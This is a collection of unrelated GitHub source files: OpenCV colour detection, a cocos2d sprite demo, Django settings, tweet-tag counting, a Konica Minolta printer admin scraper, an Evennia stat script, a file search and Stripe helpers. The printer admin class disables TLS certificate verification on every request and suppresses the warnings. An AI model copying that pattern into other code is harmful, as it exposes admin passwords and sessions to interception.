cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\n\n #Colour Threshold for Red\n r_min = (170,50,50)\n r_max = (180,255,255)\n rhsv = cv2.cvtColor(frame,cv2.COLOR_BGR2HSV)\n\n #Colour Threshold for Pink\n p_min = (156, 74, 76)\n p_max = (166, 255, 255)\n phsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n #Colour Threshold for White\n w_min = (0,0,168)\n w_max = (172,111,255)\n whsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n\n #Threhsold the HSV image to get a specific colour only\n y_mask = cv2.inRange(hsv, y_min,y_max)\n r_mask = cv2.inRange(rhsv, r_min, r_max)\n p_mask = cv2.inRange(phsv, p_min, p_max)\n w_mask =cv2.inRange(whsv, w_min, w_max)\n\n final = y_mask\n \n #Create a 5x5 8 bit integer matrix\n kernel = np.ones((7,7), np.uint8)\n #Removes unncessary black noises from the white region\n mask = cv2.morphologyEx(final, cv2.MORPH_CLOSE, kernel)\n #Removes white noise from the black regions of the mask\n mask = cv2.morphologyEx(mask, cv2.MORPH_OPEN, kernel)\n #Applies mask on frame in only that region where the mask is True means white\n segment = cv2.bitwise_and(frame, frame, mask = mask)\n #Find all the continous points along the boundary \n contours, hierarchy = cv2.findContours(mask, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n #Draws all the contour points \n output = cv2.drawContours(frame, contours, -1, (0,0,255), 3)\n\n #if cv2.contourArea(contours) > 1000 and cv2.contourArea(contours) < 20000:\n cv2.imshow(\"Colour\", output)\n #cv2.imshow('Mask', segment)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\nvideo.release()\ncv2.destroyAllWindows()\n","repo_name":"Mikhaela-Roy/Final-Year-Project","sub_path":"Colour detection.py","file_name":"Colour detection.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"75036346385","text":"\nfrom __future__ import division, print_function, unicode_literals\n\nimport sys\nimport os\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', '../images'))\n\nimport yaml\n\nimport cocos\nfrom cocos.director import director\n\nimport pyglet\nfrom pyglet.window import key\n\nimport loadSpritesheetAsAnimation\n\n\nimport esper\n\n\nFPS = 60\nWIDTH = 720\nHEIGHT = 480\n\n\nclass CharacterNode(cocos.cocosnode.CocosNode):\n\n \"\"\"Character (dict_yml, tag_action, x, y, sprite_img) : A layer drawing a character at (x,y) of\n given sprite, with number of actions defined by tag\"\"\"\n\n def __init__(self, dict_yml, x, y):\n super(CharacterNode, self).__init__()\n\n self._dict_yml = dict_yml\n self.name = \"Hero\"\n\n spritesheet_img = pyglet.image.load('../images/' + dict_yml['image'])\n self.animations = dict()\n for action in self._dict_yml['actions'].keys():\n self.animations[action] = loadSpritesheetAsAnimation.load_animation(dict_yml['actions'][action], spritesheet_img)\n\n self.sprite = pyglet.sprite.Sprite(\n img=self.animations['walk_down'], x=self.x, y=self.y)\n\n def draw(self):\n super(CharacterNode, self).draw()\n self.sprite.draw()\n\n def step(self, dt):\n super(CharacterNode, self).step(dt)\n if keyboard[key.UP]:\n self.sprite.img = self.animations['walk_up']\n elif keyboard[key.DOWN]:\n self.sprite.img = self.animations['walk_down']\n elif keyboard[key.LEFT]:\n self.sprite.img = self.animations['walk_left']\n elif keyboard[key.RIGHT]:\n self.sprite.img = self.animations['walk_right']\n\ndef main_cocos_only(file_yml):\n\n global keyboard # from test_tiles.py of cocos2d\n dict_yml = loadSpritesheetAsAnimation.load_yml(file_yml)\n\n spritesheet_img = pyglet.image.load('../images/' + dict_yml['image'])\n\n #director.init(width = spritesheet_img.width, height = spritesheet_img.height, resizable = True)\n director.init(width=WIDTH, height=HEIGHT, resizable=True)\n main_scene = cocos.scene.Scene()\n\n # Create layer with spritesheet\n layer = cocos.layer.Layer()\n main_scene.add(layer)\n\n # Create nodes and append them to sprite layer\n #create_boxes(sprite_layer, dict_yml)\n\n # Create layer with box and labels\n #create_layer_box(main_scene, dict_yml)\n\n # Test animation\n #dict_noimg = dict_yml['actions']\n # since dict is not sorted, sort alphabetically before plotting\n #keys = sorted(list(dict_noimg.keys()))\n #for i, k in enumerate(keys):\n # row = i // 7\n # col = i - row * 7\n\n # print('row ', row, ' col ', col, ' k ', k)\n # anim = loadSpritesheetAsAnimation.AnimationNode(dict_yml['actions'], k, col * 64, row * 64, spritesheet_img)\n # layer.add(anim)\n\n keyboard = key.KeyStateHandler()\n director.window.push_handlers(keyboard)\n\n\n character = CharacterNode(dict_yml, 20, 20)\n\n\n #character_sprite = cocos.sprite.Sprite()\n layer.add(character)\n\n director.run(main_scene)\n\n\n\n##################################\n# Define some Components:\n##################################\nclass Velocity:\n def __init__(self, x=0.0, y=0.0):\n self.x = x\n self.y = y\n self.speed = 3\n self.speed_diagonal = self.speed ** 0.5\n\n\nclass Renderable:\n def __init__(self, sprite):\n self.sprite = sprite\n self.w = sprite.width\n self.h = sprite.height\n\nclass SpriteSheetAnimation:\n def __init__(self, dict_yml):\n self._dict_yml = dict_yml\n self.current_action = 'walk_down'\n\n spritesheet_img = pyglet.image.load('../images/' + dict_yml['image'])\n self.animations = {}\n for action in self._dict_yml['actions'].keys():\n self.animations[action] = loadSpritesheetAsAnimation.load_animation(dict_yml['actions'][action], spritesheet_img)\n\n \n\n################################\n# Define some Processors:\n################################\nclass MovementProcessor(esper.Processor):\n def __init__(self, minx, maxx, miny, maxy):\n super().__init__()\n self.minx = minx\n self.miny = miny\n self.maxx = maxx\n self.maxy = maxy\n\n def process(self, dt):\n # This will iterate over every Entity that has BOTH of these components:\n for ent, (vel, rend) in self.world.get_components(Velocity, Renderable):\n # Update the Renderable Component's position by it's Velocity:\n # An example of keeping the sprite inside screen boundaries. Basically,\n # adjust the position back inside screen boundaries if it is outside:\n new_x = max(self.minx, rend.sprite.x + vel.x)\n new_y = max(self.miny, rend.sprite.y + vel.y)\n new_x = min(self.maxx - rend.w, new_x)\n new_y = min(self.maxy - rend.h, new_y)\n rend.sprite.position = new_x, new_y\n\n\nclass PlayerKeyProcessor(esper.Processor):\n def __init__(self,keyboard):\n super().__init__()\n self.keyboard = keyboard\n # Key pressed in previous iteration\n self.up = False\n self.down = False\n self.left = False\n self.right = False\n\n\n def process(self, dt):\n # This will iterate over every Entity that has BOTH of these components:\n for ent, (vel, rend, sprit) in self.world.get_components(Velocity, Renderable, SpriteSheetAnimation):\n # Trick to restart the animation\n #rend.sprite.image.frames[0].duration = rend.sprite.image.frames[1].duration\n # Choose correct animation\n if self.keyboard[key.UP] and not self.up:\n #rend.sprite.image = sprit.animations['walk_up']\n #sprit.current_action = 'walk_up'\n #self.up = True\n vel.y = 1\n elif self.keyboard[key.DOWN] and not self.down:\n #rend.sprite.image = sprit.animations['walk_down']\n #sprit.current_action = 'walk_down'\n #self.down = True\n vel.y = - 1\n elif self.keyboard[key.LEFT] and not self.left:\n #rend.sprite.image = sprit.animations['walk_left']\n #sprit.current_action = 'walk_left'\n #self.Left = True\n vel.x = - 1\n elif self.keyboard[key.RIGHT] and not self.right:\n #rend.sprite.image = sprit.animations['walk_right']\n #sprit.current_action = 'walk_right'\n #self.right = True\n vel.x = 1\n \n self.up = self.keyboard[key.UP]\n self.down = self.keyboard[key.DOWN]\n self.left = self.keyboard[key.LEFT]\n self.right = self.keyboard[key.RIGHT]\n\n # stop speed in one direction if none of the keys\n # for that direction is pressed\n if not(self.up or self.down):\n vel.y = 0\n\n if not(self.left or self.right):\n vel.x = 0\n\n # when going diagonal, sqrt or /2 the speed\n speed_to_apply = vel.speed_diagonal if vel.x and vel.y else vel.speed\n if vel.x:\n vel.x = abs(vel.x) / vel.x * speed_to_apply\n if vel.y:\n vel.y = abs(vel.y) / vel.y * speed_to_apply\n\n # Stop animation if no key pressed (e.g., by pausing one of the frame)\n if not(self.up or self.down or self.left or self.right):\n if not('_still' in sprit.current_action):\n sprit.current_action = sprit.current_action + '_still'\n rend.sprite.image = sprit.animations[sprit.current_action]\n else:\n # Animations\n if vel.y > 0 and not vel.x:\n if sprit.current_action != 'walk_up':\n rend.sprite.image = sprit.animations['walk_up']\n sprit.current_action = 'walk_up'\n elif vel.y < 0 and not vel.x:\n if sprit.current_action != 'walk_down':\n rend.sprite.image = sprit.animations['walk_down']\n sprit.current_action = 'walk_down'\n elif vel.x < 0 and not vel.y:\n if sprit.current_action != 'walk_left':\n rend.sprite.image = sprit.animations['walk_left']\n sprit.current_action = 'walk_left'\n elif vel.x > 0 and not vel.y:\n if sprit.current_action != 'walk_right':\n rend.sprite.image = sprit.animations['walk_right']\n sprit.current_action = 'walk_right'\n\n\n \n\n\ndef main(file_yml):\n\n global keyboard # from test_tiles.py of cocos2d\n dict_yml = loadSpritesheetAsAnimation.load_yml(file_yml)\n\n spritesheet_img = pyglet.image.load('../images/' + dict_yml['image'])\n\n #director.init(width = spritesheet_img.width, height = spritesheet_img.height, resizable = True)\n director.init(width=WIDTH, height=HEIGHT, resizable=True)\n main_scene = cocos.scene.Scene()\n\n # Create layer with spritesheet\n layer = cocos.layer.Layer()\n main_scene.add(layer)\n\n keyboard = key.KeyStateHandler()\n director.window.push_handlers(keyboard)\n\n # Initialize Esper world, and create a \"player\" Entity with a few Components:\n world = esper.World()\n player = world.create_entity()\n world.add_component(player, Velocity(x=0, y=0))\n player_animation = SpriteSheetAnimation(dict_yml)\n world.add_component(player, player_animation)\n player_sprite = cocos.sprite.Sprite(player_animation.animations['walk_down'],(WIDTH//2, HEIGHT//2))\n world.add_component(player, Renderable(sprite=player_sprite))\n\n # Create some Processor instances, and asign them to the World to be processed:\n movement_processor = MovementProcessor(minx=0, miny=0, maxx=WIDTH, maxy=HEIGHT)\n player_key_processor = PlayerKeyProcessor(keyboard)\n world.add_processor(player_key_processor)\n world.add_processor(movement_processor)\n\n\n layer.add(player_sprite)\n\n pyglet.clock.schedule_interval(world.process, interval=1.0/FPS)\n director.run(main_scene)\n\n\n\n\nif __name__ == \"__main__\":\n print('Number of arguments:', len(sys.argv), 'arguments.')\n print('Argument List:', str(sys.argv))\n file_yml = 'spritesheet_test.yml' if len(sys.argv) < 2 else sys.argv[1]\n main(file_yml)\n","repo_name":"malloblenne/namu","sub_path":"test/moveCharacterKeyboard.py","file_name":"moveCharacterKeyboard.py","file_ext":"py","file_size_in_byte":10383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"42475467079","text":"SECRET_KEY = 'some-secret-key'\n\n# 在 DEBUG=True 的情况下不会启用 RAVEN,本地开发时 DEBUG 默认为 True,因此这里无需配置 RAVEN_CONFIG,\n# 但在生产环境部署时,必须提供该配置。\n## sentry config\n# ref: https://docs.sentry.io/clients/python/integrations/django/\n## for ssl to work, see: https://community.letsencrypt.org/t/problems-with-sentry-and-letsencrypt/19948/3\nRAVEN_CONFIG = {\n 'dsn': 'https://xxx:sentry.evahealth.net/x',\n 'transport': 'raven.transport.threaded_requests.ThreadedRequestsHTTPTransport',\n}\n\nDATABASES = {\n # 本地开发时使用 sqlite\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': 'db',\n },\n # 如果要使用 dbfarm,请将上面一段代码注释掉,并使用下面这一段配置,根据数据库的信息补全配置\n # 'default': {\n # 'ENGINE': 'django.db.backends.postgresql',\n # 'HOST': '',\n # 'PORT': '5432',\n # 'NAME': '',\n # 'USER': '',\n # 'PASSWORD': '',\n # },\n}\n","repo_name":"verseboys/ncrcrd","sub_path":"natureself/settings_local.example.py","file_name":"settings_local.example.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12408444007","text":"# -*- coding: utf-8 -*-\n\"\"\" Counting relationship between tags\"\"\"\nfrom bd import *\nimport datetime\nfrom datetime import date\nfrom config import *\nimport csv\nif __name__ == '__main__':\n \"\"\"\n \"\"\"\n objeto = BDdatos()\n #lista de tags del fenómeno del niño\n #lista_tags = ['elnino','fenómenonino','fenómenodelnino','fenómenodeelnino','fenómenoelnino','sequía', 'fen', 'inundación', 'aguacero', 'fenómeno El Nino', 'fenómeno de El Nino', 'fenómeno nino', 'nino godzilla', 'fenómeno del Nino']\n #nombre_tabla = 'tweetselnino_aux_a';\n ruta_archivo = ruta_archivos_csv+'comparaciontags.csv';\n numero = len(lista_tags)\n i = 0\n with open(ruta_archivo, 'w') as csv_file:\n writer = csv.DictWriter(csv_file, fieldnames=['tag1', 'tag2', 'value'], lineterminator='\\n')\n writer.writeheader()\n while(i < numero):\n j = i+1\n while(j < numero):\n count = objeto.datos_tabla_por_fecha_por2tags(nombre_tabla,lista_tags[i], lista_tags[j])\n print(\"%s,%s,%s\"% (lista_tags[i], lista_tags[j],count['count(*)']))\n writer.writerow({'tag1': lista_tags[i], 'tag2': lista_tags[j], 'value': count['count(*)']})\n j = j+1\n i = i+1\n \n ","repo_name":"marlonsvl/processingTweets","sub_path":"comparacion.py","file_name":"comparacion.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71251110546","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom robobrowser import RoboBrowser\nfrom bs4 import BeautifulSoup\nimport requests\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nclass C224eAdmin:\n def __init__(self):\n self.token = ''\n self.loggedIn = False\n self.address = \"\"\n self.br = \"\"\n requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n def logout(self):\n if not self.loggedIn:\n return\n data = {'func' : 'PSL_ACO_LGO'}\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data, verify=False)\n print('Logged out as administrator')\n\n self.loggedIn = False\n\n def login(self, password, host):\n if(self.loggedIn):\n self.logout()\n\n self.address = host\n self.br = RoboBrowser(history=True)\n self.br.allow_redirects = True\n self.br.session.cookies['ver_expires'] = 'Thu, 11 Jan 2099 17:53:10 GMT'\n self.br.session.cookies['adm'] = 'AS_COU'\n self.br.session.cookies['uatype'] = 'NN'\n self.br.session.cookies['param'] = ''\n self.br.session.cookies['access'] = ''\n self.br.session.cookies['usr'] = 'S_INF'\n self.br.session.cookies['lang'] = 'De'\n self.br.session.cookies['favmode'] = 'false'\n self.br.session.cookies['selno'] = 'De'\n self.br.session.cookies['vm'] = 'Html'\n self.br.session.cookies['bm'] = 'Low'\n self.br.session.cookies['wd'] = 'n'\n self.br.session.cookies['help'] = 'off,off,off'\n data = { 'func' : 'PSL_LP1_LOG',\n 'R_ADM' : 'AdminAdmin',\n 'password' : password\n }\n self.br.open('https://'+self.address+'/wcd/login.cgi', method='post', data = data, verify=False)\n #print(len(self.br.response.content.decode('UTF-8')))\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n #print(soup.prettify)\n if(soup.find('message')):\n message = soup.find('message').item.contents\n\n if(message[0] == 'AdminActiveJobLoginError'):\n print('Can not login as admin: Active job exists')\n self.loggedIn = False\n return False\n if(message[0] == 'CommonLoginError'):\n print('Can not login as admin: Password incorrect')\n self.loggedIn = False\n return False\n if(message[0] == 'AdminAnotherLoginError'):\n print('Can not login as admin: Another admin is already logged in')\n print(soup.prettify)\n self.loggedIn = False\n return False\n\n print('Logged in as administrator')\n self.updateToken('https://' + self.address + '/wcd/a_system_counter.xml')\n self.loggedIn = True\n return True\n\n def createUser(self, username, password):\n if not self.loggedIn:\n return\n print('Creating user {}'.format(username))\n self.updateToken('https://' + self.address + '/wcd/a_system_counter.xml')\n #print(self.token)\n data = {'func' : 'PSL_AA_USR_USR',\n 'h_token' : self.token,\n 'AA_USR_H_NUM' : 'new',\n 'AA_USR_R_RNM' : 'Space',\n 'AA_USR_H_UNA' : '',\n 'AA_USR_T_UNA' : username,\n 'AA_USR_T_ADD' : '',\n 'AA_USR_P_UP' : password,\n 'AA_USR_P_CMP' : password,\n 'AA_USR_S_ACS' : 'Off',\n 'AA_USR_S_FCP' : 'All',\n 'AA_USR_S_FSC' : 'All',\n 'AA_USR_S_FSU' : 'On',\n 'AA_USR_S_FUB' : 'On',\n 'AA_USR_S_FPR' : 'All',\n 'AA_USR_S_FBO' : 'true',\n 'AA_USR_S_FPS' : 'All',\n 'AA_USR_S_FMI' : 'On',\n 'AA_USR_C_CPL' : 'on', #is color restricted?\n 'AA_USR_T_CPL' : '1', #number of color copies allowed\n 'AA_USR_C_BPL' : 'on', #is b/w restricted?\n 'AA_USR_T_BPL' : '1', #number of b/w copies allowed\n 'AA_USR_C_RFL' : 'on',\n 'AA_USR_S_RPL' : '0'\n }\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data, verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n\n if(soup.find('item')):\n if(soup.find('item').contents[0]=='AuthUserAlreadyExist'):\n print('Can not create user {}: Already existing'.format(username))\n #print(self.br.parsed.prettify())\n\n def deleteUser(self, username):\n if not self.loggedIn:\n return\n print('Deleting user {}'.format(username))\n user = self.getUserByName(username);\n if not user:\n return\n data = {'func' : 'PSL_AA_USR_DEL',\n 'h_token' : self.token,\n 'AA_USR_H_NUM' : user['userID'],\n 'AA_USR_H_UNA' : user['username'],\n 'AA_USR_H_SNM' : ''\n }\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data , verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n retCode = soup.find('item')\n if not(retCode and retCode.contents[0] == 'Ok_1'):\n print('Could not delete user {}'.format(username))\n\n self.br.open('https://'+self.address+'/wcd/a_authentication_user.xml', verify=False)\n\n def changePassword(self, username, newPassword):\n if not self.loggedIn:\n return\n print('Changing password for {}'.format(username))\n user = self.getUserByName(username);\n if not user:\n return\n self.updateToken('https://' + self.address + '/wcd/a_system_counter.xml')\n data = {'func' : 'PSL_AA_USR_USR',\n 'h_token' : self.token,\n 'AA_USR_H_NUM' : user['userID'],\n 'AA_USR_T_NUM' : user['userID'],\n 'AA_USR_H_UNA' : user['username'],\n 'AA_USR_T_UNA' : user['username'],\n 'AA_USR_T_ADD' : user['email'],\n 'AA_USR_C_CUS' : 'on',\n 'AA_USR_P_UP' : newPassword,\n 'AA_USR_P_CMP' : newPassword,\n 'AA_USR_S_ACS' : 'Off',\n 'AA_USR_S_FCP' : 'All',\n 'AA_USR_S_FSC' : 'All',\n 'AA_USR_S_FSU' : 'On',\n 'AA_USR_S_FUB' : 'On',\n 'AA_USR_S_FPR' : 'All',\n 'AA_USR_S_FBO' : 'true',\n 'AA_USR_S_FPS' : 'All',\n 'AA_USR_S_FMI' : 'On',\n 'AA_USR_C_CPL' : 'on', #is color restricted?\n 'AA_USR_T_CPL' : user['numColorAllowed'], #number of color copies allowed\n 'AA_USR_C_BPL' : 'on', #is b/w restricted?\n 'AA_USR_T_BPL' : user['numBwAllowed'], #number of b/w copies allowed\n 'AA_USR_C_RFL' : 'on',\n 'AA_USR_S_RPL' : '0'\n }\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data, verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n if(soup.find('item').get_text() != \"Ok_1\"):\n print('Changing password failed, Errorcode:{}'.format(soup.find('item').get_text()))\n\n def updateToken(self, link):\n if not self.loggedIn:\n return\n self.br.open(link, verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n if(soup.find('token')):\n self.token = soup.find('token').contents[0]\n #print(self.token)\n else:\n print('Can not read token from server.')\n print(soup.prettify())\n self.logout()\n\n def getUserByName(self, username):\n if not self.loggedIn:\n return\n # wir können bis zu 1000 user haben, immer in 50 user/seite aufgeteilt.\n self.updateToken('https://' + self.address + '/wcd/a_authentication_user.xml')\n for i in range(0,19):\n data = {'func' : 'PSL_AA_USR_PAG',\n 'h_token' : self.token,\n 'H_SRT' : str(1+i*50),\n 'H_END' : str(50*(i+1))\n }\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data, verify=False)\n #get new token\n self.updateToken('https://' + self.address + '/wcd/a_authentication_user.xml')\n\n self.br.open('https://'+self.address+'/wcd/a_user.xml', verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n\n userRaw = soup.find_all('authusersetting')\n #print(soup.find_all('authno'))\n for k in range(0,len(userRaw)):\n name = userRaw[k].contents[6].contents[0]\n if(name == username):\n user = {}\n user['username'] = name\n user['userID'] = soup.find_all('authno')[k].contents[0]\n #user['email'] = userRaw[k].contents[10].contents[0]\n user['email'] = \"\"\n user['numColorAllowed'] = soup.find_all('colorprint')[k].contents[1].contents[0]\n user['numBwAllowed'] = soup.find_all('bwprint')[k].contents[1].contents[0]\n print('Found user: {}'.format(user))\n return user\n if(len(userRaw)<50):\n break;\n print('Did not find user in database')\n\n def setLimits(self, username, bw, color, mode='abs'):\n if not self.loggedIn:\n return\n user = self.getUserByName(username)\n if not user:\n return\n self.updateToken('https://' + self.address + '/wcd/a_system_counter.xml')\n if(mode == 'inc'):\n user['numColorAllowed'] = str(int(user['numColorAllowed']) + color)\n user['numBwAllowed'] = str(int(user['numBwAllowed']) + bw)\n print('Increment allowed number of pages to bw: {}, color:{} for {}'.format(user['numBwAllowed'],user['numColorAllowed'], username))\n elif mode == 'abs':\n user['numColorAllowed'] = str(color)\n user['numBwAllowed'] = str(bw)\n print('Set allowed number of pages to bw: {}, color:{} for {}'.format(user['numBwAllowed'],user['numColorAllowed'], username))\n else:\n print('Unknown mode, choose either inc for incremental or abs for absolute')\n self.logout()\n return\n data = {'func' : 'PSL_AA_USR_USR',\n 'h_token' : self.token,\n 'AA_USR_H_NUM' : user['userID'],\n 'AA_USR_T_NUM' : user['userID'],\n 'AA_USR_H_UNA' : user['username'],\n 'AA_USR_T_UNA' : user['username'],\n 'AA_USR_T_ADD' : user['email'],\n 'AA_USR_S_ACS' : 'Off',\n 'AA_USR_S_FCP' : 'All',\n 'AA_USR_S_FSC' : 'All',\n 'AA_USR_S_FSU' : 'On',\n 'AA_USR_S_FUB' : 'On',\n 'AA_USR_S_FPR' : 'All',\n 'AA_USR_S_FBO' : 'true',\n 'AA_USR_S_FPS' : 'All',\n 'AA_USR_S_FMI' : 'On',\n 'AA_USR_C_CPL' : 'on', #is color restricted?\n 'AA_USR_T_CPL' : user['numColorAllowed'], #number of color copies allowed\n 'AA_USR_C_BPL' : 'on', #is b/w restricted?\n 'AA_USR_T_BPL' : user['numBwAllowed'], #number of b/w copies allowed\n 'AA_USR_C_RFL' : 'on',\n 'AA_USR_S_RPL' : '0'\n }\n self.br.open('https://'+self.address+'/wcd/a_user.cgi', method='post', data = data, verify=False)\n soup = BeautifulSoup(self.br.response.content.decode('UTF-8'), 'lxml')\n if(soup.find('item').get_text() != \"Ok_1\"):\n print('Setting limits failed, Errorcode:{}'.format(soup.find('item').get_text()))\n\n def __del__(self):\n self.logout()","repo_name":"christian-lanius/c224e-python-interface","sub_path":"admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":12011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"6015890264","text":"from codes.stats.codesScript import CodesScript\n\n\nclass PowerStatScript(CodesScript):\n\n # noinspection PyAttributeOutsideInit\n def at_script_creation(self):\n self.persistent = True # will survive reload\n self.tags.add('stat_data')\n self.tags.add('power_stat')\n\n def update(self, longname='', category='', info='', reference='',\n restricted=False,):\n self.db.longname = longname\n self.db.category = category\n self.db.reference = reference\n self.db.info = info\n self.db.restricted = restricted\n\n # noinspection PyUnusedLocal\n def get(self, target, subentry=''):\n \"\"\"\n get\n\n\n Gets the value of a given powerStat from a target.\n\n\n target: The character being checked\n subentry: Dummy for overloading,\n\n \"\"\"\n powers = target.db.power\n name = self.db.longname\n if name in powers:\n result = powers[name]\n else:\n result = 0\n return result\n\n # noinspection PyUnusedLocal\n @staticmethod\n def meets_prereqs(target, value=0, subentry=''):\n \"\"\"\n meets_prereqs\n\n\n Just a dummy function for overloading\n\n\n target: The character being checked\n value: Dummy for overloading\n subentry: Dummy for overloading\n\n\n \"\"\"\n result = True\n return result\n\n def cost(self, target, value, subentry=''):\n \"\"\"\n cost\n\n\n Determines the cost for a character to raise a power stat.\n\n\n target: The character being checked\n value: The level being checked.\n subentry: Dummy for overloading\n\n\n \"\"\"\n result = (value - self.get(target, subentry)) * 5\n return result\n\n # noinspection PyUnusedLocal\n def set(self, target, value, subentry=''):\n \"\"\"\n set\n\n\n Sets the value of an power stat on a character sheet. Adds the\n power stat if the character does not currently possess it.\n\n\n target: The character the stat is being set for\n value: The value the stat is being set to\n subentry: Dummy for overloading\n\n\n \"\"\"\n name = self.db.longname\n target.db.power[name] = value\n return True\n\n\n\n","repo_name":"esampson/codes","sub_path":"codes/stats/powerStatScripts.py","file_name":"powerStatScripts.py","file_ext":"py","file_size_in_byte":2247,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"71821169427","text":"#!/usr/bin/python\n\nimport fnmatch\nimport os\nimport re\n\nimport colorama #pip install colorama\nfrom colorama import Fore, Back, Style\n\ncolorama.init()\n\nfiles_pattern = ['*.csproj'] #['*.jpg', '*.jpeg', '*.png', '*.tif', '*.tiff', '*.py'] #.py len pre test ucely\nmatches = []\n\nCRED = '\\33[31m'\nCGREEN = '\\33[32m'\n\nfor root, dirnames, filenames in os.walk(\".\"):\n for extensions in files_pattern:\n for filename in fnmatch.filter(filenames, extensions):\n fileFullPath = os.path.join(root, filename)\n print( Fore.WHITE + fileFullPath )\n\n #Pohladame string 'TargetFrameworkVersion' v subore\n patternToFind = 'TargetFrameworkVersion' # casom treba aj na regexp hladat\n if patternToFind in open(fileFullPath).read():\n fiIn = open(fileFullPath).readlines()\n for line in fiIn:\n if patternToFind in line:\n if 'v4.0' in line:\n print( Fore.CYAN + line ) #line.strip()\n else:\n print( Fore.GREEN + line ) #line.strip()\n #matches.append(fileFullPath)\n \n#Vypiseme co sme nasli\n#for n in matches:\n#\tprint(\"Nasiel som to ja kokot: \" + n)\n","repo_name":"aaronDevLinux/aarondevlinux.github.io","sub_path":"src/python/search_file.py","file_name":"search_file.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1660785643","text":"# coding=utf-8\n\nimport logging\n\nimport stripe\nfrom django.conf import settings\nfrom django.utils.translation import ugettext as _\n\nstripe.api_key = settings.STRIPE_SECRET_KEY\n\nSTRIPE_ERROR_MSG = {\n 'invalid_request_error': _('Invalid request error.'),\n 'api_connection_error': _('Failure to connect to Stripe\\'s API.'),\n 'authentication_error': _('Failure to properly authenticate yourself in the request.'),\n 'rate_limit_error': _('Too many requests hit the API too quickly.'),\n 'card_error': _('Card can\\'t be charged for some reason.'),\n 'api_error': _('Temporary problem with Stripe\\'s servers'),\n 'incorrect_number': _('The card number is incorrect.'),\n 'invalid_number': _('The card number is not a valid credit card number.'),\n 'invalid_expiry_month': _('The card\\'s expiration month is invalid.'),\n 'invalid_expiry_year': _('The card\\'s expiration year is invalid.'),\n 'invalid_cvc': _('The card\\'s security code is invalid.'),\n 'expired_card': _('The card has expired.'),\n 'incorrect_cvc': _('The card\\'s security code is incorrect.'),\n 'incorrect_zip': _('The card\\'s zip code failed validation.'),\n 'card_declined': _('The card was declined.')\n}\n\n\ndef catch_stripe_exceptions(fun):\n \"\"\"\n Decorator to catch stripe exceptions\n Args:\n fun:\n\n Returns:\n\n \"\"\"\n stripe_logger = logging.getLogger('stripe')\n\n def inner(*args, **kwargs):\n try:\n result = fun(*args, **kwargs)\n except Exception as e:\n if hasattr(e, 'json_body'):\n stripe_logger.error(e.json_body)\n e.json_body['error']['original_message'] = e.json_body['error']['message']\n\n if 'code' in e.json_body['error']:\n e.json_body['error']['message'] = STRIPE_ERROR_MSG.get(e.json_body['error']['code'])\n else:\n e.json_body['error']['message'] = STRIPE_ERROR_MSG.get(e.json_body['error']['type'])\n\n return None, e.json_body\n else:\n error_msg = {\n 'error': {\n 'message': 'Error: {}'.format(e)\n }\n }\n stripe_logger.error(error_msg)\n return None, error_msg\n else:\n return result\n\n return inner\n\n\n@catch_stripe_exceptions\ndef get_customer(user, stripe_token=None, create_without_card=False):\n \"\"\"\n\n Args:\n user: Account object\n stripe_token: str\n\n Returns:\n\n \"\"\"\n if stripe_token is None:\n stripe_token = {}\n if getattr(user, 'stripe_customer'):\n customer = stripe.Customer.retrieve(user.stripe_customer)\n if stripe_token:\n card = customer.sources.create(source=stripe_token)\n customer.default_source = card.id\n customer.save()\n else:\n if stripe_token or create_without_card:\n customer = stripe.Customer.create(\n description=user.get_full_name(),\n email=user.email,\n source=stripe_token\n )\n user.stripe_customer = customer.id\n user.save()\n else:\n error_msg = {\n 'error': {\n 'message': _('Wrong Stripe Token. Stripe Token can\\'t be None.')\n }\n }\n return None, error_msg\n\n return customer, {}\n\n\n@catch_stripe_exceptions\ndef invoice_item(customer, subscription, amount, description=''):\n \"\"\"\n\n Args:\n customer: Customer Object\n subscription: Stripe subscription id\n amount: int\n description: str\n\n Returns:\n\n \"\"\"\n invoice_item_object = stripe.InvoiceItem.create(\n customer=customer,\n amount=amount,\n currency='usd',\n description=description,\n subscription=subscription\n )\n return invoice_item_object, {}\n\n\n@catch_stripe_exceptions\ndef invoice_pay(customer, subscription):\n \"\"\"\n\n Args:\n customer: Customer Object\n subscription: Stripe subscription id\n\n Returns:\n\n \"\"\"\n invoice_object = stripe.Invoice.create(\n 